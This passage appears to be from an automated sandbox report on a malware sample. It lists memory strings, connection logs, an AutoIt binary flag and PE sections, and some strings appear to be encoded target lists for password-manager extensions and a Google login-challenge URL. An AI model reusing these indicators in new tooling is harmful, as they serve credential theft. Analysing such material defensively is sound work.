Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mobilesuica.com/
Source: firefox.exe, 0000001A.00000002.3139366213.000001EE2A2A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3303939090.0000237DE8D04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3135741496.000001EE1EA6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3211314720.000001EE306FD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3182930609.000001EE2F657000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3269826039.000001EE313BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3146151572.000001EE2AA0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: 2ffb915ad7.exe, 0000000C.00000003.3055335237.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3208617348.000001EE3043E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: 2ffb915ad7.exe, 0000000C.00000003.3055335237.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3208617348.000001EE3043E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2093953428.0000000005DCD000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2424375790.000000002F77D000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3055335237.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3186210081.000001EE2F8A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3208617348.000001EE3043E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: 2ffb915ad7.exe, 0000000C.00000003.3055335237.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3208617348.000001EE3043E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: file.exe, 00000000.00000003.2093953428.0000000005DCD000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2424375790.000000002F77D000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3055335237.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3186210081.000001EE2F8A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3208617348.000001EE3043E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp, firefox.exe, 0000001A.00000002.3137476533.000001EE2A15D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: file.exe, 00000000.00000003.2093953428.0000000005DCD000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2424375790.000000002F77D000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3055335237.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3208617348.000001EE3043E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000001A.00000002.3269826039.000001EE3130F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3060200442.000001EE36870000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2ABB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3191656453.000001EE2FF47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE3691E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3269826039.000001EE313CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3060047008.000001EE368E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3179136668.000001EE2F2E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3303799026.000022F09F800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001A.00000002.3211314720.000001EE3061A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sling.com/
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841267839.0000000001627000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: firefox.exe, 0000001A.00000002.3269826039.000001EE3130F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E628000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3269826039.000001EE313CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3187754650.000001EE2F909000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3060047008.000001EE368E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3186210081.000001EE2F8E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3303799026.000022F09F800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB0D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3060200442.000001EE36870000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 0000001A.00000002.3278899876.000001EE317AC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3182930609.000001EE2F6AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3058566834.000001EE36CE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3063958023.000001EE36CCD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059973005.000001EE36909000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3058566834.000001EE36CCD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3262576648.000001EE311D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3063958023.000001EE36CE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3297708005.000001EE36CE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3262576648.000001EE311C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3062576027.000001EE36909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001A.00000002.3299503408.000001EE38B64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3158695006.000001EE2DD5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3281572307.000001EE3219D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3135741496.000001EE1EA6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3184999337.000001EE2F799000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3101970119.000001EE305F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3208617348.000001EE30430000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE36833000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3200993052.000001EE301D0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3150497786.000001EE2BBB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3211314720.000001EE306D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3238122305.000001EE30E70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3278899876.000001EE3170D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3105500898.000001EE30A20000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3137476533.000001EE2A1AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3150497786.000001EE2BB8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3134919145.000001EE1E7C9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3208617348.000001EE304C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3283280261.000001EE32203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3262576648.000001EE311C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3060047008.000001EE368FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000018.00000002.2984648430.000001E083B9A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2992611980.0000023AB0A49000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3134919145.000001EE1E7C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50025 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50039 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 3cfbb3a6fb.exe, 0000000D.00000000.2950542078.0000000000B52000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_2b0103c1-8
Source: 3cfbb3a6fb.exe, 0000000D.00000000.2950542078.0000000000B52000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_9146be96-2

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: DIKGVVY9JNEBJRBXL.exe.0.dr	Static PE information: section name:
Source: DIKGVVY9JNEBJRBXL.exe.0.dr	Static PE information: section name: .idata
Source: RIHOEX26J337XMDAUSF1C246W.exe.0.dr	Static PE information: section name:
Source: RIHOEX26J337XMDAUSF1C246W.exe.0.dr	Static PE information: section name: .idata
